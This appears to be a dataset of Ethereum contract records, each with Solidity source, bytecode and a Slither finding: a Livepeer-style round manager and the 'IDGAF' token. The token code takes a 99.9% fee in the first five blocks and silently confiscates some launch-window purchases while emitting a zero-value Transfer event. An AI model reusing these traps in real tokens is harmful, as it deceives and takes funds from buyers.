// If first time initializing roundLength, set roundLength before
// lastRoundLengthUpdateRound and lastRoundLengthUpdateStartBlock
roundLength = _roundLength;
lastRoundLengthUpdateRound = currentRound();
lastRoundLengthUpdateStartBlock = currentRoundStartBlock();
} else {
// If updating roundLength, set roundLength after
// lastRoundLengthUpdateRound and lastRoundLengthUpdateStartBlock
lastRoundLengthUpdateRound = currentRound();
lastRoundLengthUpdateStartBlock = currentRoundStartBlock();
roundLength = _roundLength;
}
ParameterUpdate("roundLength");
}
/**
* @dev Set round lock amount. Only callable by the controller owner
* @param _roundLockAmount Round lock amount as a % of the number of blocks in a round
*/
function setRoundLockAmount(uint256 _roundLockAmount) external onlyControllerOwner {
// Must be a valid percentage
require(MathUtils.validPerc(_roundLockAmount));
roundLockAmount = _roundLockAmount;
ParameterUpdate("roundLockAmount");
}
/**
* @dev Initialize the current round. Called once at the start of any round
*/
function initializeRound() external whenSystemNotPaused {
uint256 currRound = currentRound();
// Check if already called for the current round
require(lastInitializedRound < currRound);
// Set current round as initialized
lastInitializedRound = currRound;
// Set active transcoders for the round
bondingManager().setActiveTranscoders();
// Set mintable rewards for the round
minter().setCurrentRewardTokens();
NewRound(currRound);
}
/**
* @dev Return current block number
*/
function blockNum() public view returns (uint256) {
return block.number;
}
/**
* @dev Return blockhash for a block
*/
function blockHash(uint256 _block) public view returns (bytes32) {
uint256 currentBlock = blockNum();
// Can only retrieve past block hashes
require(_block < currentBlock);
// Can only retrieve hashes for last 256 blocks
require(currentBlock < 256 || _block >= currentBlock - 256);
return block.blockhash(_block);
}
/**
* @dev Return current round
*/
function currentRound() public view returns (uint256) {
// Compute # of rounds since roundLength was last updated
uint256 roundsSinceUpdate = blockNum().sub(lastRoundLengthUpdateStartBlock).div(roundLength);
// Current round = round that roundLength was last updated + # of rounds since roundLength was last updated
return lastRoundLengthUpdateRound.add(roundsSinceUpdate);
}
/**
* @dev Return start block of current round
*/
function currentRoundStartBlock() public view returns (uint256) {
// Compute # of rounds since roundLength was last updated
uint256 roundsSinceUpdate = blockNum().sub(lastRoundLengthUpdateStartBlock).div(roundLength);
// Current round start block = start block of round that roundLength was last updated + (# of rounds since roundLenght was last updated * roundLength)
return lastRoundLengthUpdateStartBlock.add(roundsSinceUpdate.mul(roundLength));
}
/**
* @dev Check if current round is initialized
*/
function currentRoundInitialized() public view returns (bool) {
return lastInitializedRound == currentRound();
}
/**
* @dev Check if we are in the lock period of the current round
*/
function currentRoundLocked() public view returns (bool) {
uint256 lockedBlocks = MathUtils.percOf(roundLength, roundLockAmount);
return blockNum().sub(currentRoundStartBlock()) >= roundLength.sub(lockedBlocks);
}
/**
* @dev Return BondingManager interface
*/
function bondingManager() internal view returns (IBondingManager) {
return IBondingManager(controller.getContract(keccak256("BondingManager")));
}
/**
* @dev Return Minter interface
*/
function minter() internal view returns (IMinter) {
return IMinter(controller.getContract(keccak256("Minter")));
}
} | 0x6060604052600436106100d75763ffffffff60e060020a6000350416630b1573b881146100dc5780630fe1dfa8146100f4578063219bc76c1461011957806351720b4114610140578063668abff714610153578063681312f5146101665780636841f2531461017c57806385df51fd1461018f5780638807f36e146101a55780638a19c8bc146101b85780638ae63d6d146101cb5780638b649b94146101de5780638fa148f2146101f157806392eefe9b14610204578063d4807fb214610223578063f5b490d514610236578063f77c479114610249575b600080fd5b34156100e757600080fd5b6100f2600435610278565b005b34156100ff57600080fd5b61010761037c565b60405190815260200160405180910390f35b341561012457600080fd5b61012c610382565b604051901515815260200160405180910390f35b341561014b57600080fd5b610107610395565b341561015e57600080fd5b61010761039b565b341561017157600080fd5b6100f26004356103a1565b341561018757600080fd5b61012c6104de565b341561019a57600080fd5b61010760043561052c565b34156101b057600080fd5b61010761056a565b34156101c357600080fd5b610107610570565b34156101d657600080fd5b6101076105af565b34156101e957600080fd5b6101076105b3565b34156101fc57600080fd5b6101076105b9565b341561020f57600080fd5b6100f2600160a060020a03600435166105f9565b341561022e57600080fd5b6100f261067c565b341561024157600080fd5b6101076107ee565b341561025457600080fd5b61025c6107f4565b604051600160a060020a03909116815260200160405180910390f35b60008054600160a060020a031690638da5cb5b90604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156102c157600080fd5b6102c65a03f115156102d257600080fd5b50505060405180519050600160a060020a031633600160a060020a03161415156102fb57600080fd5b61030481610803565b151561030f57600080fd5b60038190557f9f5033568d78ae30f29f01e944f97b2216493bd19d1b46d429673acff3dcd6746040516020808252600f908201527f726f756e644c6f636b416d6f756e7400000000000000000000000000000000006040808301919091526060909101905180910390a150565b60055481565b600061038c610570565b60045414905090565b60015481565b60065481565b60008054600160a060020a031690638da5cb5b90604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156103ea57600080fd5b6102c65a03f115156103fb57600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561042457600080fd5b6000811161043157600080fd5b600254151561045a576002819055610447610570565b6005556104526105b9565b600655610476565b610462610570565b60055561046d6105b9565b60065560028190555b7f9f5033568d78ae30f29f01e944f97b2216493bd19d1b46d429673acff3dcd6746040516020808252600b908201527f726f756e644c656e6774680000000000000000000000000000000000000000006040808301919091526060909101905180910390a150565b6000806104ef60025460035461080d565b600254909150610505908263ffffffff61082d16565b6105246105106105b9565b6105186105af565b9063ffffffff61082d16565b101591505090565b6000806105376105af565b905080831061054557600080fd5b610100811080610559575061010081038310155b151561056457600080fd5b50504090565b60045481565b6000806105936002546105876006546105186105af565b9063ffffffff61083f16565b6005549091506105a9908263ffffffff61085b16565b91505090565b4390565b60025481565b6000806105d06002546105876006546105186105af565b90506105a96105ea6002548361086a90919063ffffffff16565b6006549063ffffffff61085b16565b60005433600160a060020a0390811691161461061457600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f4ff638452bbf33c012645d18ae6f05515ff5f2d1dfb0cece8cbf018c60903f7081604051600160a060020a03909116815260200160405180910390a150565b60008054600160a060020a0316635c975abb82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106c457600080fd5b6102c65a03f115156106d557600080fd5b50505060405180511590506106e957600080fd5b6106f1610570565b90508060045410151561070357600080fd5b6004819055610710610895565b600160a060020a031663242ed69f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561074c57600080fd5b6102c65a03f1151561075d57600080fd5b505050610768610936565b600160a060020a031663ece2064c6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15156107a457600080fd5b6102c65a03f115156107b557600080fd5b5050507fa2b5357eea32aeb35142ba36b087f9fe674f34f8b57ce94d30e9f4f572195bcf8160405190815260200160405180910390a150565b60035481565b600054600160a060020a031681565b620f424090111590565b6000610826620f4240610587858563ffffffff61086a16565b9392505050565b60008282111561083957fe5b50900390565b600080828481151561084d57fe5b0490508091505b5092915050565b60008282018381101561082657fe5b60008083151561087d5760009150610854565b5082820282848281151561088d57fe5b041461082657fe5b60008054600160a060020a031663e16c7d986040517f426f6e64696e674d616e616765720000000000000000000000000000000000008152600e01604051809103902060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561091757600080fd5b6102c65a03f1151561092857600080fd5b505050604051805191505090565b60008054600160a060020a031663e16c7d986040517f4d696e74657200000000000000000000000000000000000000000000000000008152600601604051809103902060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561091757600080fd00a165627a7a7230582073efe24a2846267055b758e7e7b2b22e2b6cc52195e6c86371cb66cca91d8a750029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,642 |
0x19031E3387e341BF13fDE8B4356c4eb086e8059b | /**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal _owner;
mapping (address => bool) internal authorizations;
constructor(address owner_) {
_owner = owner_;
authorizations[owner_] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == _owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function renounceOwnership() public virtual onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0));
}
function transferOwnership(address payable adr) public onlyOwner {
_owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract IDGAF is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'IDGAF';
string constant _symbol = 'IDGAF';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 1000;
uint256 _maxWalletAmount = _totalSupply / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 marketingFee = 40;
uint256 teamFee = 40;
uint256 totalFee = 80;
uint256 sellFee = 120;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public teamFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[_owner] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[address(this)] = true;
marketingFeeReceiver = address(0x8EF6aDaC63a8f2c4f1E5bA3Dd6FED01E78A43D48);
teamFeeReceiver = address(msg.sender);
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return _owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!inSwap && shouldSwapBack()){ swapBack(); }
if(!launched() && recipient == pair){ require(_balances[sender] > 0);}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);}
if(launchMode() && recipient != pair && sender!= address(this) && block.timestamp < _holderLastTransferTimestamp[recipient] + 15){
_holderLastTransferTimestamp[recipient] = block.timestamp;
_balances[address(this)] = _balances[address(this)].add(amount);
emit Transfer(sender, recipient, 0);
emit Transfer(sender, address(this), amount);
return true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function getTotalFee(bool selling) public view returns (uint256) {
if(launchedAt + 5 > block.number){ return feeDenominator.sub(1); }
if(selling){return sellFee;}
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount;
if(!launched() && receiver != pair){return 0;}
if(launchMode() && amount > _maxTxAmount){
feeAmount = amount.sub(_maxTxAmount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);}
feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToSwap = swapThreshold;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee;
uint256 amountETHTeam = amountETH.mul(teamFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
payable(teamFeeReceiver).transfer(amountETHTeam);
}
function unclog() external authorized swapping{
uint256 amountToSwap = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee;
uint256 amountETHTeam = amountETH.mul(teamFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
payable(teamFeeReceiver).transfer(amountETHTeam);
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() external authorized{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external authorized{
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _teamFeeReceiver, address _marketingFeeReceiver) external authorized{
teamFeeReceiver = _teamFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized{
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _teamFee, uint256 _marketingFee, uint256 _feeDenominator, uint256 _sellFee) external authorized{
teamFee = _teamFee;
marketingFee = _marketingFee;
totalFee = teamFee.add(_marketingFee);
feeDenominator = _feeDenominator;
sellFee = _sellFee;
require(totalFee < feeDenominator/4);
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 5 < block.number && launchedTime + 10 minutes >= block.timestamp ;
}
function recoverEth() external {
payable(teamFeeReceiver).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external returns (bool _sent){
_sent = IERC20(_token).transfer(teamFeeReceiver, amount);
}
} | 0x6080604052600436106102535760003560e01c8063893d20e811610138578063ca33e64c116100b0578063f0b37c041161007f578063f2fde38b11610064578063f2fde38b14610874578063f887ea40146108b4578063fe9fbb80146108c95761025a565b8063f0b37c0414610808578063f1f3bca3146108485761025a565b8063ca33e64c14610764578063dd62ed3e14610779578063df20fd49146107c1578063e96fada2146107f35761025a565b8063a9059cbb11610107578063b6a5d7de116100ec578063b6a5d7de146106fa578063bcdb446b1461073a578063bf56b3711461074f5761025a565b8063a9059cbb1461066e578063b29a8140146106b45761025a565b8063893d20e8146105fc57806395d89b411461029d578063a4b45c0014610611578063a8aa1b31146106595761025a565b8063571ac8b0116101cb57806367c453491161019a5780636fcba3771161017f5780636fcba3771461056b57806370a08231146105a7578063715018a6146105e75761025a565b806367c45349146105415780636ddd1713146105565761025a565b8063571ac8b01461048f5780635804f1e4146104cf5780635fe7208c146104e4578063658d4b7f146104f95761025a565b806318160ddd116102225780632f54bf6e116102075780632f54bf6e146103e6578063313ce5671461042657806340291143146104515761025a565b806318160ddd1461038157806323b872dd146103965761025a565b806301339c211461025f5780630445b6671461027657806306fdde031461029d578063095ea7b3146103275761025a565b3661025a57005b600080fd5b34801561026b57600080fd5b50610274610909565b005b34801561028257600080fd5b5061028b610999565b60408051918252519081900360200190f35b3480156102a957600080fd5b506102b261099f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102ec5781810151838201526020016102d4565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b5061036d6004803603604081101561034a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356109d6565b604080519115158252519081900360200190f35b34801561038d57600080fd5b5061028b610a4a565b3480156103a257600080fd5b5061036d600480360360608110156103b957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610a50565b3480156103f257600080fd5b5061036d6004803603602081101561040957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b5e565b34801561043257600080fd5b5061043b610b82565b6040805160ff9092168252519081900360200190f35b34801561045d57600080fd5b50610466610b87565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561049b57600080fd5b5061036d600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ba3565b3480156104db57600080fd5b5061028b610bcf565b3480156104f057600080fd5b50610274610bd5565b34801561050557600080fd5b506102746004803603604081101561051c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001351515610c53565b34801561054d57600080fd5b50610274610d1d565b34801561056257600080fd5b5061036d611065565b34801561057757600080fd5b506102746004803603608081101561058e57600080fd5b508035906020810135906040810135906060013561106e565b3480156105b357600080fd5b5061028b600480360360208110156105ca57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661111a565b3480156105f357600080fd5b50610274611142565b34801561060857600080fd5b50610466611212565b34801561061d57600080fd5b506102746004803603604081101561063457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661122e565b34801561066557600080fd5b506104666112f5565b34801561067a57600080fd5b5061036d6004803603604081101561069157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135611311565b3480156106c057600080fd5b5061036d600480360360408110156106d757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561131e565b34801561070657600080fd5b506102746004803603602081101561071d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cd565b34801561074657600080fd5b50610274611493565b34801561075b57600080fd5b5061028b6114dc565b34801561077057600080fd5b506104666114e2565b34801561078557600080fd5b5061028b6004803603604081101561079c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166114fe565b3480156107cd57600080fd5b50610274600480360360408110156107e457600080fd5b50803515159060200135611536565b3480156107ff57600080fd5b506104666115ea565b34801561081457600080fd5b506102746004803603602081101561082b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611606565b34801561085457600080fd5b5061028b6004803603602081101561086b57600080fd5b503515156116c6565b34801561088057600080fd5b506102746004803603602081101561089757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611701565b3480156108c057600080fd5b50610466611826565b3480156108d557600080fd5b5061036d600480360360208110156108ec57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611842565b61091233611842565b61097d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b61098561186d565b1561098f57600080fd5b4360155542601655565b60185481565b60408051808201909152600581527f4944474146000000000000000000000000000000000000000000000000000000602082015290565b33600081815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60035490565b73ffffffffffffffffffffffffffffffffffffffff831660009081526007602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610b4957604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e63650000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600782528381203382529091529190912054610b17918490611875565b73ffffffffffffffffffffffffffffffffffffffff851660009081526007602090815260408083203384529091529020555b610b54848484611926565b90505b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff8281169116145b919050565b600990565b60125473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a44827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109d6565b60165481565b610bde33611842565b610c4957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b610c51611d2b565b565b610c5c33611842565b610cc757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260086020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b610d2633611842565b610d9157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b601980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556000610dc73061111a565b905060006002815b50604051908082528060200260200182016040528015610df9578160200160208202803683370190505b5090503081600081518110610e0a57fe5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600254825191169082906001908110610e4257fe5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092018101919091526013546040517f791ac94700000000000000000000000000000000000000000000000000000000815260048101868152600060248301819052306064840181905261016842016084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b83811015610f06578181015183820152602001610eee565b505050509050019650505050505050600060405180830381600087803b158015610f2f57600080fd5b505af1158015610f43573d6000803e3d6000fd5b505050506000610f5c8247611d6390919063ffffffff16565b90506000600d5490506000610f8682610f80600c5486611da590919063ffffffff16565b90611e18565b90506000610fa383610f80600b5487611da590919063ffffffff16565b60115460405191925073ffffffffffffffffffffffffffffffffffffffff169082156108fc029083906000818181858888f19350505050158015610feb573d6000803e3d6000fd5b5060125460405173ffffffffffffffffffffffffffffffffffffffff9091169083156108fc029084906000818181858888f19350505050158015611033573d6000803e3d6000fd5b5050601980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055505050505050565b60175460ff1681565b61107733611842565b6110e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600c849055600b8390556110f68484611e5a565b600d55600f829055600e81905560048204600d541061111457600080fd5b50505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205490565b61114b33610b5e565b6111b657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff000000000000000000000000000000000000000016815560408051918252517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a1565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b61123733611842565b6112a257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b6012805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560118054929093169116179055565b60145473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b57338484611926565b601254604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff928316600482015260248101849052905160009285169163a9059cbb91604480830192602092919082900301818787803b15801561139a57600080fd5b505af11580156113ae573d6000803e3d6000fd5b505050506040513d60208110156113c457600080fd5b50519392505050565b6113d633610b5e565b61144157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055565b60125460405173ffffffffffffffffffffffffffffffffffffffff909116904780156108fc02916000818181858888f193505050501580156114d9573d6000803e3d6000fd5b50565b60155481565b60105473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260076020908152604080832093909416825291909152205490565b61153f33611842565b6115aa57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b601780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168315151790556003546115e39082611e18565b6018555050565b60115473ffffffffffffffffffffffffffffffffffffffff1681565b61160f33610b5e565b61167a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60004360155460050111156116ea57600f546116e3906001611d63565b9050610b7d565b81156116f95750600e54610b7d565b5050600d5490565b61170a33610b5e565b61177557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811782558082526001602081815260409384902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b60135473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205460ff1690565b601554151590565b6000818484111561191e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118e35781810151838201526020016118cb565b50505050905090810190601f1680156119105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60195460009060ff1615801561193f575061193f611ece565b1561194c5761194c611d2b565b61195461186d565b15801561197b575060145473ffffffffffffffffffffffffffffffffffffffff8481169116145b156119af5773ffffffffffffffffffffffffffffffffffffffff84166000908152600660205260409020546119af57600080fd5b604080518082018252601481527f496e73756666696369656e742042616c616e636500000000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff8716600090815260069091529190912054611a17918490611875565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260066020526040902055611a45611f2c565b8015611a6c575060145473ffffffffffffffffffffffffffffffffffffffff848116911614155b15611aa75760055473ffffffffffffffffffffffffffffffffffffffff841660009081526006602052604090205483011115611aa757600080fd5b611aaf611f2c565b8015611ad6575060145473ffffffffffffffffffffffffffffffffffffffff848116911614155b8015611af8575073ffffffffffffffffffffffffffffffffffffffff84163014155b8015611b2b575073ffffffffffffffffffffffffffffffffffffffff83166000908152600a6020526040902054600f0142105b15611c2a5773ffffffffff